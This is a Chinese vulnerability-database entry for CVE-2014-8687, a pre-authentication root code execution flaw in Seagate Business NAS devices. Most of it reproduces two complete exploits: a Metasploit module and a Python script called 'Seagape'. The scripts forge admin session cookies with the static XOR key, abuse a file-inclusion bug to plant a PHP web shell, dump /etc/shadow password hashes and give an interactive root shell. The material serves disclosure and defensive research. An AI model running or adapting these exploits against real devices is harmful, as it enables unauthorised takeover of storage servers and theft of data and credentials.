CVE-2014-8687
CVSS10.0
发布时间 :2017-06-08 12:29:00
修订时间 :2017-06-16 13:40:38
NMCPS    

[原文]Seagate Business NAS devices with firmware before 2015.00322 allow remote attackers to execute arbitrary code with root privileges by leveraging use of a static encryption key to create session tokens.


[CNNVD]Seagate Business Storage 2-Bay NAS 远程代码执行漏洞(CNNVD-201503-218)

        

Seagate Business Storage 2-Bay NAS是美国希捷(Seagate)公司的一款企业级网络存储服务器。

Seagate Business Storage 2-Bay NAS中存在远程代码执行漏洞。攻击者可利用该漏洞以root权限执行任意代码,也可能造成拒绝服务。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-327 [使用已被攻破或存在风险的密码学算法]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8687
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8687
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-201503-218
(官方数据源) CNNVD

- 其它链接及资源

http://packetstormsecurity.com/files/130585/Seagate-Business-NAS-2014.00319-Remote-Code-Execution.html
(VENDOR_ADVISORY)  MISC  http://packetstormsecurity.com/files/130585/Seagate-Business-NAS-2014.00319-Remote-Code-Execution.html
http://packetstormsecurity.com/files/130609/Seagate-Business-NAS-Unauthenticated-Remote-Command-Execution.html
(VENDOR_ADVISORY)  MISC  http://packetstormsecurity.com/files/130609/Seagate-Business-NAS-Unauthenticated-Remote-Command-Execution.html
http://www.securityfocus.com/bid/72831
(VENDOR_ADVISORY)  BID  72831
https://beyondbinary.io/articles/seagate-nas-rce/
(VENDOR_ADVISORY)  MISC  https://beyondbinary.io/articles/seagate-nas-rce/
https://www.exploit-db.com/exploits/36202/
(VENDOR_ADVISORY)  EXPLOIT-DB  36202
https://www.exploit-db.com/exploits/36264/
(VENDOR_ADVISORY)  EXPLOIT-DB  36264

- 漏洞信息

Seagate Business Storage 2-Bay NAS 远程代码执行漏洞
2015-03-10 00:00:00 2015-03-10 00:00:00
远程  
        

Seagate Business Storage 2-Bay NAS是美国希捷(Seagate)公司的一款企业级网络存储服务器。

Seagate Business Storage 2-Bay NAS中存在远程代码执行漏洞。攻击者可利用该漏洞以root权限执行任意代码,也可能造成拒绝服务。

- 公告与补丁

        目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:
        http://www.seagate.com/

- 漏洞信息 (F130609)

Seagate Business NAS Unauthenticated Remote Command Execution (PacketStormID:F130609)
2015-03-02 00:00:00
OJ Reeves  metasploit.com
exploit,local,php
CVE-2014-8684,CVE-2014-8686,CVE-2014-8687
[点击下载]

Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This Metasploit module has been tested on the STBN300 device.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Seagate Business NAS Unauthenticated Remote Command Execution',
      'Description'    => %q{
        Some Seagate Business NAS devices are vulnerable to command execution via a local
        file include vulnerability hidden in the language parameter of the CodeIgniter
        session cookie. The vulnerability manifests in the way the language files are
        included in the code on the login page, and hence is open to attack from users
        without the need for authentication. The cookie can be easily decrypted using a
        known static encryption key and re-encrypted once the PHP object string has been
        modified.

        This module has been tested on the STBN300 device.
      },
      'Author'         => [
          'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module
        ],
      'References'     => [
          ['CVE', '2014-8684'],
          ['CVE', '2014-8686'],
          ['CVE', '2014-8687'],
          ['EDB', '36202'],
          ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
          ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
        ],
      'DisclosureDate' => 'Mar 01 2015',
      'Privileged'     => true,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE
      ))

    register_options([
        OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
        OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
        OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
        OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
      ])
  end

  #
  # Write a string value to a serialized PHP object without deserializing it first.
  # If the value exists it will be updated.
  #
  def set_string(php_object, name, value)
    prefix = "s:#{name.length}:\"#{name}\";s:"
    if php_object.include?(prefix)
      # the value already exists in the php blob, so update it.
      return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
    end

    # the value doesn't exist in the php blob, so create it.
    count = php_object.split(':')[1].to_i + 1
    php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
  end

  #
  # Findez ze holez!
  #
  def check
    begin
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      )

      if res && res.code == 200
        headers = res.to_s

        # validate headers
        if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
          # and make sure that the body contains the title we'd expect
          if res.body.include?('Login to BlackArmor')
            return Exploit::CheckCode::Appears
          end
        end
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      # something went wrong, assume safe.
    end

    Exploit::CheckCode::Safe
  end

  #
  # Executez ze sploitz!
  #
  def exploit

    # Step 1 - Establish a session with the target which will give us a PHP object we can
    # work with.
    begin
      print_status("#{peer} - Establishing session with target ...")
      res = send_request_cgi({
        'uri'    => normalize_uri(target_uri),
        'method' => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        }
      })

      if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
        cookie_value = $1.strip
      else
        fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
    end

    # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
    # then update it so that it's an admin session before re-encrypting
    print_status("#{peer} - Upgrading session to administrator ...")
    php_object = decode_cookie(cookie_value)
    vprint_status("#{peer} - PHP Object: #{php_object}")

    admin_php_object = set_string(php_object, 'is_admin', 'yes')
    admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
    vprint_status("#{peer} - Admin PHP object: #{admin_php_object}")

    admin_cookie_value = encode_cookie(admin_php_object)

    # Step 3 - Extract the current host configuration so that we don't lose it.
    host_config = nil

    # This time value needs to be consistent across calls
    config_time = ::Time.now.to_i

    begin
      print_status("#{peer} - Extracting existing host configuration ...")
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        },
        'cookie'   => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
        'vars_get' => {
          '_'      => config_time
        }
      )

      if res && res.code == 200
        res.body.split("\r\n").each do |l|
          if l.include?('general_setup')
            host_config = l
            break
          end
        end
      else
        fail_with(Exploit::Failure::Unreachable, "#{peer} - Unexpected response from server.")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Exploit::Failure::Unreachable, "#{peer} - Unable to establish connection.")
    end

    print_good("#{peer} - Host configuration extracted.")
    vprint_status("#{peer} - Host configuration: #{host_config}")

    # Step 4 - replace the host device description with a custom payload that can
    # be used for LFI. We have to keep the payload small because of size limitations
    # and we can't put anything in with '$' in it. So we need to make a simple install
    # payload which will write a required payload to disk that can be executes directly
    # as the last part of the payload. This will also be self-deleting.
    param_id = rand_text_alphanumeric(3)

    # There are no files on the target file system that start with an underscore
    # so to allow for a small file size that doesn't collide with an existing file
    # we'll just prefix it with an underscore.
    payload_file = "_#{rand_text_alphanumeric(3)}.php"

    installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
    stager = Rex::Text.encode_base64(installer)
    stager = xml_encode("<?php eval(base64_decode('#{stager}')); ?>")
    vprint_status("#{peer} - Stager: #{stager}")

    # Butcher the XML directly rather than attempting to use REXML. The target XML
    # parser is way to simple/flaky to deal with the proper stuff that REXML
    # spits out.
    desc_start = host_config.index('" description="') + 15
    desc_end = host_config.index('"', desc_start)
    xml_payload = host_config[0, desc_start] +
                  stager + host_config[desc_end, host_config.length]
    vprint_status(xml_payload)

    # Step 5 - set the host description to the stager so that it is written to disk
    print_status("#{peer} - Uploading stager ...")
    begin
      res = send_request_cgi(
        'uri'             => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
        'method'          => 'POST',
        'headers'         => {
          'Accept'        => 'text/html'
        },
        'cookie'          => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
        'vars_get'        => {
          '_'             => config_time
        },
        'vars_post'       => {
          'general_setup' => xml_payload
        }
      )

      unless res && res.code == 200
        fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      fail_with(Exploit::Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
    end

    print_good("#{peer} - Stager uploaded.")

    # Step 6 - Invoke the stage, passing in a self-deleting php script body.
    print_status("#{peer} - Executing stager ...")
    payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
    payload_cookie_value = encode_cookie(payload_php_object)
    self_deleting_payload = "<?php unlink(__FILE__);\r\n#{payload.encoded}; ?>"
    errored = false

    begin
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri),
        'method'   => 'POST',
        'headers'  => {
          'Accept' => 'text/html'
        },
        'cookie'    => "#{datastore['COOKIEID']}=#{payload_cookie_value}",
        'vars_post' => {
          param_id  => Rex::Text.encode_base64(self_deleting_payload)
        }
      )

      if res && res.code == 200
        print_good("#{peer} - Stager execution succeeded, payload ready for execution.")
      else
        print_error("#{peer} - Stager execution failed (invalid result).")
        errored = true
      end
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
      print_error("#{peer} - Stager execution failed (unable to establish connection).")
      errored = true
    end

    # Step 7 - try to restore the previous configuration, allowing exceptions
    # to bubble up given that we're at the end. This step is important because
    # we don't want to leave a trail of junk on disk at the end.
    print_status("#{peer} - Restoring host config ...")
    res = send_request_cgi(
      'uri'             => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
      'method'          => 'POST',
      'headers'         => {
        'Accept'        => 'text/html'
      },
      'cookie'          => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
      'vars_get'        => {
        '_'             => config_time
      },
      'vars_post'       => {
        'general_setup' => host_config
      }
    )

    # Step 8 - invoke the installed payload, but only if all went to plan.
    unless errored
      print_status("#{peer} - Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
      res = send_request_cgi(
        'uri'      => normalize_uri(target_uri, payload_file),
        'method'   => 'GET',
        'headers'  => {
          'Accept' => 'text/html'
        },
        'cookie'   => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
      )
    end
  end

  #
  # Take a CodeIgnitor cookie and pull out the PHP object using the XOR
  # key that we've been given.
  #
  def decode_cookie(cookie_content)
    cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
    pass = xor(cookie_value, datastore['XORKEY'])
    result = ''

    (0...pass.length).step(2).each do |i|
      result << (pass[i].ord ^ pass[i + 1].ord).chr
    end

    result
  end

  #
  # Take a serialised PHP object cookie value and encode it so that
  # CodeIgniter thinks it's legit.
  #
  def encode_cookie(cookie_value)
    rand = Rex::Text.sha1(rand_text_alphanumeric(40))

    block  = ''

    (0...cookie_value.length).each do |i|
      block << rand[i % rand.length]
      block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
    end

    cookie_value = xor(block, datastore['XORKEY'])
    cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
    vprint_status("#{peer} - Cookie value: #{cookie_value}")

    cookie_value
  end

  #
  # XOR a value against a key. The key is cycled.
  #
  def xor(string, key)
    result = ''

    string.bytes.zip(key.bytes.cycle).each do |s, k|
      result << (s ^ k)
    end

    result
  end

  #
  # Simple XML substitution because the target XML handler isn't really
  # full blown or smart.
  #
  def xml_encode(str)
    str.gsub(/</, '<').gsub(/>/, '>')
  end

end
    

- 漏洞信息 (F130585)

Seagate Business NAS 2014.00319 Remote Code Execution (PacketStormID:F130585)
2015-03-01 00:00:00
OJ Reeves  
exploit,remote,code execution
CVE-2014-8687
[点击下载]

Seagate Business NAS versions 2014.00319 and below suffer from a pre-authentication remote code execution vulnerability.

#!/usr/bin/env python
#
# Seagape
# =======
# Seagate Business NAS pre-authentication remote code execution
# exploit as root user.
#
# by OJ Reeves (@TheColonial) - for full details please see
# https://beyondbinary.io/advisory/seagate-nas-rce/
#
# Usage
# =====
# seagape.py <ip> <port> [-c [ua]]
#
# - ip   : ip or host name of the target NAS
# - port : port of the admin web ui
# - -c   : (optional) create a cookie which will give admin access.
#          Not specifying this flag results in webshell installation.
# - ua   : (optional) the user agent used by the browser for the
#          admin session (UA must match the target browser).
#          Default value is listed below
#
# Example
# =======
# Install and interact with the web shell:
# seagape.py 192.168.0.1 80
#
# Create admin cookie
# seagape.py 192.168.0.1 80 -c

import base64
import hashlib
import itertools
import os
import re
import socket
import sys
import urllib
import urllib2
import uuid
import xml.sax.saxutils

if len(sys.argv) < 3:
    print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])
    sys.exit(1)

# Every Seagate nas has the same XOR key. Great.
XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'

# This is the User agent we'll use for most of the requests
DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'

# This is the description we're going to be reading from
LFI_FILE = '/etc/devicedesc'

# the base globals that will hold our state
host = sys.argv[1]
port = int(sys.argv[2])
cis = ''
hostname = ''
webshell = str(uuid.uuid1()) + ".php"

def chunks(s, n):
    for i in xrange(0, len(s), n):
        yield s[i:i + n]

def forward_interleave(a, b):
    return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))

def xor(s, k):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))

def sha1(s):
    return hashlib.sha1(s).hexdigest()

def decode(s):
    f = xor(s, XOR_KEY)
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))

def encode(s):
    s = forward_interleave(sha1(s), s)
    s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))
    return xor(s, XOR_KEY)

def make_request(uri = "/", ci_session = None, headers = None, post_data = None):

    method = 'GET'

    if not headers:
        headers = {}

    headers['Host'] = host

    if 'User-Agent' not in headers:
        headers['User-Agent'] = DEFAULT_UA

    if 'Accept' not in headers:
        headers['Accept'] = 'text/html'

    if post_data:
        method = 'POST'
        post_data = urllib.urlencode(post_data)
        headers['Content-Type'] = 'application/x-www-form-urlencoded'

    if ci_session:
        ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
        headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    http  = ""
    http += "{0} {1} HTTP/1.1\r\n".format(method, uri)

    for h in headers:
        http += "{0}: {1}\r\n".format(h, headers[h])

    if post_data:
        http += "Content-Length: {0}\r\n".format(len(post_data))

    http += "\r\n"

    if post_data:
        http += post_data

    s.send(http)

    result = ""
    while True:
        data = s.recv(1024)
        if not data:
            break
        result += data

    s.close()

    return result

def get_ci_session():
    resp = make_request()

    for l in resp.split("\r\n"):
        m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)
        for name, value in m:
            if name == 'ci_session' and len(value) > 40:
                return decode(base64.b64decode(urllib.unquote(value)))

    print "Unable to establish session with {0}".format(host)
    sys.exit(1)

def add_string(ci_session, key, value):
    prefix = 's:{0}:"{1}";s:'.format(len(key), key)
    if prefix in ci_session:
        ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)
    else:
        # doesn't exist, so we need to add it to the start and the end.
        count = int(ci_session.split(':')[1]) + 1
        ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)
    return ci_session

def set_admin(ci_session):
    return add_string(ci_session, "is_admin", "yes")

def set_language(ci_session, lang):
    return add_string(ci_session, "language", lang)

def include_file(ci_session, file_path):
    if file_path[0] == '/':
        file_path = '../../../../../..' + file_path
    return set_language(ci_session, file_path + "\x00")

def read_file(file_path, post_data = None):
    resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)
    return resp

def hashdump():
    shadow = read_file('/etc/shadow')
    for l in shadow.split("\n"):
        if l and ':!:' not in l and ':x:' not in l:
            parts = l.split(':')
            print "{0}:{1}".format(parts[0], parts[1])

def cmd(command):
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded',
        'Accept' : '*/*',
        'User-Agent' : DEFAULT_UA
    }

    post_data = urllib.urlencode({'c' : command})
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    ci_session = urllib.quote(base64.b64encode(encode(cis)))
    headers['Cookie'] = 'ci_session={0}'.format(ci_session)

    url = 'http://{0}:{1}/{2}'.format(host, port, webshell)
    req = urllib2.Request(url, headers = headers, data = post_data)

    return urllib2.urlopen(req).read()

def shell():
    running = True
    while running:
        c = raw_input("Shell ({0}) $ ".format(post_id))
        if c != 'quit' and c != 'exit':
            cmd(c)
        else:
            running = False

def show_admin_cookie(user_agent):
    ci_session = add_string(cis, 'is_admin', 'yes')
    ci_session = add_string(ci_session, 'username', 'admin')
    ci_session = add_string(ci_session, 'user_agent', user_agent)
    ci_session = urllib.quote(base64.b64encode(encode(ci_session)))
    print "Session cookies are bound to the browser's user agent."
    print "Using user agent: " + user_agent
    print "ci_session=" + ci_session

def show_version():
    print "Firmware Version: {0}".format(get_firmware_version())

def show_cookie():
    print cis

def show_help():
    print ""
    print "Seagape v1.0 -- Interactive Seagate NAS Webshell"
    print "  - OJ Reeves (@TheColonial) - https://beyondbinary.io/"
    print "  - https://beyondbinary.io/bbsec/001"
    print "==========================================================================="
    print "version           - Print the current firmware version to screen."
    print "dumpcookie        - Print the current cookie to screen."
    print "admincookie <ua>  - Create an admin login cookie (ua == user agent string)."
    print "                    Add to your browser and access ANY NAS box as admin."
    print "help              - Show this help."
    print "exit / quit       - Run for the hills."
    print "<anything else>   - Execute the command on the server."
    print ""

def execute(user_input):
    result = True
    parts = user_input.split(' ')
    c = parts[0]

    if c == 'admincookie':
        ua = DEFAULT_UA
        if len(parts) > 1:
            ua = ' '.join(parts[1:])
        show_admin_cookie(ua)
    elif c == 'dumpcookie':
        show_cookie()
    elif c == 'version':
        show_version()
    elif c == 'help':
        show_help()
    elif c == 'quit' or c == 'exit':
        remove_shell()
        result = False
    else:
        print cmd(user_input)
    return result

def get_firmware_version():
    resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",
            ci_session = acis)
    return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]

def install_shell():
    resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",
            ci_session = acis)
    existing_setup = ''
    for l in resp.split("\r\n"):
        if 'general_setup' in l:
            existing_setup = l
            break

    # generate the shell and its installer
    exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")
    installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)
    write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]
    start = existing_setup.index('" description="') + 15
    end = existing_setup.index('"', start)
    updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]

    # write the shell to the description
    resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
            ci_session = acis,
            headers = { },
            post_data = { 'general_setup' : updated_setup })

    # invoke the installer
    read_file(LFI_FILE)

    # remove the installer
    resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",
            ci_session = acis,
            headers = { },
            post_data = { 'general_setup' : existing_setup })

def remove_shell():
    return cmd('rm -f {0}'.format(webshell))

print "Establishing session with {0} ...".format(host)
cis = get_ci_session()

if len(sys.argv) >= 4 and sys.argv[3] == '-c':
    ua = DEFAULT_UA
    if len(sys.argv) > 4:
        ua = sys.argv[4]
    show_admin_cookie(ua)
else:
    print "Configuring administrative access ..."
    acis = add_string(cis, 'is_admin', 'yes')
    acis = add_string(acis, 'username', 'admin')

    print "Installing web shell (takes a while) ..."
    install_shell()

    print "Extracting id and hostname ..."
    identity = cmd('whoami').strip()
    hostname = cmd('cat /etc/hostname').strip()
    show_help()

    running = True
    while running:
        try:
            user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))
            running = execute(user_input)
        except:
            print "Something went wrong. Try again."
    

- 漏洞信息

Seagate Business Storage 2-Bay NAS CVE-2014-8687 Remote Code Execution Vulnerability
Unknown 72831
Yes No
2015-03-01 12:00:00 2015-03-01 12:00:00
OJ Reeves

- 受影响的程序版本

- 漏洞讨论

Seagate Business Storage 2-Bay NAS is prone to a remote-code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition.

- 漏洞利用

Reports indicate that this issue is being exploited in the wild. Please see the references for more information.

The following exploit codes are available.

- 解决方案

Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站